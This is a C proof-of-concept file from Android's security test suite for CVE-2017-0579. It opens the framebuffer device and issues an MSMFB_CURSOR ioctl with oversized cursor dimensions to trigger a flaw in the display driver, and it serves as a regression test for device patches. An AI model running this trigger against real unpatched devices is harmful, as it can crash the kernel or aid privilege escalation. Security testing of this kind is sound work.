hostsidetests/security/securityPatch/CVE-2017-0579/poc.c

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/fb.h>
#include <stdlib.h>
#include <string.h>

#define MSMFB_IOCTL_MAGIC 'm'
#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)

int call_ioctl(int file_desc, unsigned long request, void* param)
{
    int ret_val;

    ret_val = ioctl(file_desc,  request, param);

    if (ret_val < 0) {
	return ret_val;
    }
    return ret_val;
}

int test_mdss_msm_fb(int file_desc)
{
    int ret_val;
    unsigned char* buf = malloc(0x100);
    struct fb_cursor cursor;

    memset(&cursor, 0, sizeof(struct fb_cursor ));

    cursor.set = FB_CUR_SETIMAGE;
    cursor.enable = 1;
    cursor.rop = 0;
    cursor.mask = 0;
    cursor.hot.x = 0x100;
    cursor.hot.y = 0x100;
    cursor.image.dx = 1439;
    cursor.image.dy = 2559;
    cursor.image.width = 0x1000;
    cursor.image.height = 0x1000;
    cursor.image.fg_color = 0xff;
    cursor.image.bg_color = 0xff00;
    cursor.image.depth = 32;
    cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );

    ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
    if(ret_val < 0) {
	return ret_val;
    }

    free((void *)cursor.image.data);
    free(buf);

    return ret_val;
}

int main()
{
    int file_desc;
    const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";

    file_desc = open(DEVICE_FILE_NAME, 0);
    if (file_desc < 0) {
	return -1;
    }

    test_mdss_msm_fb(file_desc);

    close(file_desc);

    return 0;
}